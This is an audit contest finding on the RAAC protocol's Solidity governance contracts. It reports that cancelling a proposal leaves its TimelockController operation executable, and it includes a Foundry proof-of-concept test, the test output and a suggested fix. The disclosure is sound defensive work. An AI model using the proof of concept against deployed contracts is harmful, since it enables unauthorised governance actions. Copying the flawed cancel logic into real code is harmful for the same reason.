Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Timelock Controller Retains Canceled Proposals, Enabling Unauthorized Execution and severe Governance Voting manipulation.

theirrationalone

Summary

A vulnerability has been identified in the Governance::cancel function, which fails to properly remove a proposal's execution record from the TimelockController. This allows an unaware or malicious executor to execute the proposal even after it has been canceled in Governance. The issue arises due to a missing step in the cancellation process, leading to a discrepancy between the governance state and the timelock controller state.

Vulnerability Details

The governance process in the protocol consists of multiple stages:

  1. A proposer submits a proposal via Governance::propose.

  2. Voters cast their votes through Governance::castVote.

  3. If successful, the proposal is scheduled in the timelock controller via Governance::execute.

  4. After a delay (GRACE_PERIOD), the proposal is executed through the timelock controller.

The issue arises when a proposal is canceled using Governance::cancel. The function sets the proposal state to canceled within the Governance contract but does not cancel the corresponding operation in the TimelockController. As a result, a stale execution record persists in the timelock, which can still be executed by calling TimelockController::executeBatch.

Contextual Code Snippets

Governance::cancel

function cancel(uint256 proposalId) external override {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.startTime == 0) revert ProposalDoesNotExist(proposalId);
​
ProposalState currentState = state(proposalId);
if (currentState == ProposalState.Executed) {
revert InvalidProposalState(
proposalId, currentState, ProposalState.Active, "Cannot cancel executed proposal"
);
}
​
// Only proposer or if proposer's voting power dropped below threshold
if (msg.sender != proposal.proposer && _veToken.getVotingPower(proposal.proposer) >= proposalThreshold) {
revert InsufficientProposerVotes(
proposal.proposer,
_veToken.getVotingPower(proposal.proposer),
proposalThreshold,
"Proposer lost required voting power"
);
}
​
proposal.canceled = true;
emit ProposalCanceled(proposalId, msg.sender, "Proposal canceled by proposer");
}

TimelockController::executeBatch

function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 predecessor,
bytes32 salt
) external payable override nonReentrant onlyRole(EXECUTOR_ROLE) {
bytes32 id = hashOperationBatch(targets, values, calldatas, predecessor, salt);
​
// Check operation status
Operation storage op = _operations[id];
if (op.timestamp == 0) revert OperationNotFound(id);
if (op.executed) revert OperationAlreadyExecuted(id);
​
// Check timing conditions
if (block.timestamp < op.timestamp) revert OperationNotReady(id);
if (block.timestamp > op.timestamp + GRACE_PERIOD) revert OperationExpired(id);
​
// Mark as executed before external calls
op.executed = true;
​
// Execute each call
for (uint256 i = 0; i < targets.length; i++) {
(bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
if (!success) {
revert CallReverted(id, i);
}
}
​
emit OperationExecuted(id, targets, values, calldatas, predecessor, salt);
}

Proof of Concept (PoC)

  1. Proposal Creation: Alice creates a proposal through Governance::propose.

  2. Voting: Voters participate in the voting process using Governance::castVote.

  3. Execution Initiation: After voting ends, the proposal is scheduled in TimelockController through Governance::execute.

  4. Proposal Cancellation: Before execution, Bob notices that Alice’s voting power has fallen below the threshold and calls Governance::cancel, marking the proposal as canceled in the governance contract.

  5. Execution Exploit: A malicious executor calls TimelockController::executeBatch with the proposal’s stored execution data, leading to the execution of a canceled proposal.

PoC Test Suite

To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.

  1. Step 1: Create a Foundry project and place all the contracts in the src directory.

  2. Step 2: Create a test directory and a mocks folder within the src directory (or use an existing mocks folder).

  3. Step 3: Create all necessary mock contracts, if required.

  4. Step 4: Create a test file (with any name) in the test directory.

// SPDX-License-Identifier: MIT
​
pragma solidity ^0.8.19;
​
import {Test, console} from "forge-std/Test.sol";
​
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimelockController} from "../src/core/governance/proposals/TimelockController.sol";
import {Governance} from "../src/core/governance/proposals/Governance.sol";
​
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
import {IGovernance} from "../src/interfaces/core/governance/proposals/IGovernance.sol";
​
contract GovernanceTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
TimelockController timelockController;
Governance governance;
​
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
​
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
address BIG_E = makeAddr("BIG_E");
address XAVIER_WOODS = makeAddr("XAVIER_WOODS");
address KOFI_KINGSTON = makeAddr("KOFI_KINGSTON");
​
address PROPOSER_1 = makeAddr("PROPOSER_1");
address PROPOSER_2 = makeAddr("PROPOSER_2");
address PROPOSER_3 = makeAddr("PROPOSER_3");
address PROPOSER_4 = makeAddr("PROPOSER_4");
address PROPOSER_5 = makeAddr("PROPOSER_5");
​
address EXECUTOR_1 = makeAddr("EXECUTOR_1");
address EXECUTOR_2 = makeAddr("EXECUTOR_2");
address EXECUTOR_3 = makeAddr("EXECUTOR_3");
address EXECUTOR_4 = makeAddr("EXECUTOR_4");
address EXECUTOR_5 = makeAddr("EXECUTOR_5");
​
address TIMELOCK_OWNER = makeAddr("TIMELOCK_OWNER");
address GOVERNANCE_OWNER = makeAddr("GOVERNANCE_OWNER");
​
uint256 timelockControllerMinDelay = 2 days;
address[] private proposers;
address[] private executors;
address admin;
​
address[] private proposalTargets;
uint256[] private proposalValues;
bytes[] private proposalCalldatas;
string private proposalDescription;
IGovernance.ProposalType proposalProposalType;
​
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
​
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
​
proposers.push(PROPOSER_1);
proposers.push(PROPOSER_2);
proposers.push(PROPOSER_3);
proposers.push(PROPOSER_4);
proposers.push(PROPOSER_5);
​
executors.push(EXECUTOR_1);
executors.push(EXECUTOR_2);
executors.push(EXECUTOR_3);
executors.push(EXECUTOR_4);
executors.push(EXECUTOR_5);
​
vm.startPrank(TIMELOCK_OWNER);
TimelockController tempTimelockController =
new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
timelockController = new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
vm.stopPrank();
​
vm.startPrank(GOVERNANCE_OWNER);
governance = new Governance(address(veRaacToken), address(tempTimelockController));
governance.setTimelock(address(timelockController));
vm.stopPrank();
​
proposalTargets.push(address(tempTimelockController));
proposalValues.push(0);
proposalCalldatas.push(abi.encodeWithSignature("setValue(uint256)", 42));
proposalDescription = "Proposal String";
proposalProposalType = IGovernance.ProposalType.ParameterChange;
​
vm.startPrank(TIMELOCK_OWNER);
timelockController.grantRole(timelockController.PROPOSER_ROLE(), address(governance));
timelockController.grantRole(timelockController.EXECUTOR_ROLE(), address(governance));
timelockController.grantRole(timelockController.CANCELLER_ROLE(), address(governance));
vm.stopPrank();
​
getveRaacTokenForProposer();
}
​
function getveRaacTokenForProposer() private {
uint256 LOCK_AMOUNT = 10_000_000e18;
uint256 LOCK_DURATION = 365 days;
​
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
​
vm.startPrank(RAAC_MINTER);
raacToken.mint(PROPOSER_1, LOCK_AMOUNT);
raacToken.mint(PROPOSER_2, LOCK_AMOUNT);
raacToken.mint(PROPOSER_3, LOCK_AMOUNT);
raacToken.mint(PROPOSER_4, LOCK_AMOUNT);
raacToken.mint(PROPOSER_5, LOCK_AMOUNT);
raacToken.mint(ALICE, LOCK_AMOUNT);
raacToken.mint(BOB, LOCK_AMOUNT);
raacToken.mint(CHARLIE, LOCK_AMOUNT);
raacToken.mint(DEVIL, LOCK_AMOUNT);
raacToken.mint(BIG_E, 1_000_000e18);
raacToken.mint(XAVIER_WOODS, 1_000_000e18);
raacToken.mint(KOFI_KINGSTON, 1_000_000e18);
vm.stopPrank();
​
vm.startPrank(PROPOSER_1);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(PROPOSER_2);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(PROPOSER_3);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(PROPOSER_4);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(PROPOSER_5);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(DEVIL);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(BIG_E);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(XAVIER_WOODS);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
​
vm.startPrank(KOFI_KINGSTON);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
}
}

  1. Step 5: Add the following test PoC in the test file, after the setUp function.

function testCancellingScheduledProposalDoesNotCancelsOrUpdatesTimelockRecords() public {
vm.startPrank(ALICE);
uint256 proposalId = governance.propose(
proposalTargets, proposalValues, proposalCalldatas, proposalDescription, proposalProposalType
);
vm.stopPrank();
​
IGovernance.ProposalCore memory proposalCore = governance.getProposal(proposalId);
​
vm.warp(block.timestamp + proposalCore.startTime + 1);
vm.roll(block.number + 1);
​
vm.startPrank(ALICE);
governance.castVote(proposalId, true);
vm.stopPrank();
​
vm.startPrank(BOB);
governance.castVote(proposalId, true);
vm.stopPrank();
​
vm.startPrank(CHARLIE);
governance.castVote(proposalId, true);
vm.stopPrank();
​
vm.startPrank(BIG_E);
governance.castVote(proposalId, false);
vm.stopPrank();
​
assertEq(governance.hasVoted(proposalId, ALICE), true);
assertEq(governance.hasVoted(proposalId, BOB), true);
assertEq(governance.hasVoted(proposalId, CHARLIE), true);
assertEq(governance.hasVoted(proposalId, BIG_E), true);
​
vm.warp(block.timestamp + proposalCore.endTime + 1);
vm.roll(block.number + 1);
​
vm.startPrank(ALICE);
governance.execute(proposalId);
vm.stopPrank();
​
IGovernance.ProposalState proposalState = governance.state(proposalId);
​
// enum ProposalState {
// Pending, // Created but not yet active
// Active, // In voting period
// Canceled, // Canceled by proposer
// Defeated, // Failed to meet quorum or majority
// Succeeded, // Passed vote but not queued
// Queued, // Scheduled in timelock
// Executed // Successfully executed
// }
​
console.log("proposalState: ", uint256(proposalState));
assertEq(uint256(proposalState), 5);
​
vm.startPrank(ALICE);
governance.cancel(proposalId);
vm.stopPrank();
​
vm.warp(block.timestamp + timelockController.getMinDelay() + 1);
vm.roll(block.number + 1);
​
bytes32 id = timelockController.hashOperationBatch(
proposalTargets, proposalValues, proposalCalldatas, bytes32(0), proposalCore.descriptionHash
);
​
bool isReadyAfterCancellation = timelockController.isOperationReady(id);
console.log("isReadyAfterCancellation: ", isReadyAfterCancellation);
assertEq(isReadyAfterCancellation, true);
​
// An unaware excited or Malicious executor encounters that a operation is scheduled and is ready for execution
// with the fact that He has executor role granted, so he can execute the operation...
​
vm.startPrank(EXECUTOR_1);
// execution will get reverted because we passed dummy data as proposal data
vm.expectRevert(abi.encodeWithSelector(bytes4(keccak256("CallReverted(bytes32,uint256)")), id, 0));
timelockController.executeBatch(
proposalTargets, proposalValues, proposalCalldatas, bytes32(0), proposalCore.descriptionHash
);
vm.stopPrank();
}

  1. Step 6: To run the test, execute the following commands in your terminal:

forge test --mt testCancellingScheduledProposalDoesNotCancelsOrUpdatesTimelockRecords -vv

  1. Step 7: Review the output.

[⠒] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/GovernanceTest.t.sol:GovernanceTest
[PASS] testCancellingScheduledProposalDoesNotCancelsOrUpdatesTimelockRecords() (gas: 866716)
Logs:
proposalState: 5
isReadyAfterCancellation: true
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.87ms (2.67ms CPU time)
​
Ran 1 test suite in 29.84ms (13.87ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated, the test confirms that the malicious executor can execute the undeleted proposal records in the timelock controller.

Impact

  • Governance Integrity Violation: Proposals that are considered canceled can still be executed, undermining the governance process.

  • Potential Exploits: Malicious actors could exploit this to execute harmful proposals that were canceled for valid reasons.

  • Security Risk: If an attacker manipulates a proposal to pass and later gets it canceled, they can still execute it using the timelock controller, leading to unauthorized state changes.

Recommendations

To mitigate this vulnerability, the following solution should be implemented:

  1. Cancel the Timelock Entry: Modify Governance::cancel to call a function in TimelockController that removes the pending execution record.

Example Fix:

function cancel(uint256 proposalId) external override {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.startTime == 0) revert ProposalDoesNotExist(proposalId);
​
ProposalState currentState = state(proposalId);
if (currentState == ProposalState.Executed) {
revert InvalidProposalState(
proposalId, currentState, ProposalState.Active, "Cannot cancel executed proposal"
);
}
​
if (msg.sender != proposal.proposer && _veToken.getVotingPower(proposal.proposer) >= proposalThreshold) {
revert InsufficientProposerVotes(
proposal.proposer,
_veToken.getVotingPower(proposal.proposer),
proposalThreshold,
"Proposer lost required voting power"
);
}
​
proposal.canceled = true;
​
+ bytes32 operationId = _timelock.hashOperationBatch(
+ proposal.targets, proposal.values, proposal.calldatas, bytes32(0), proposal.descriptionHash
+ );
​
+ _timelock.cancelOperation(operationId);
emit ProposalCanceled(proposalId, msg.sender, "Proposal canceled by proposer");
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::cancel and state lack synchronization with TimelockController

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::cancel and state lack synchronization with TimelockController

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.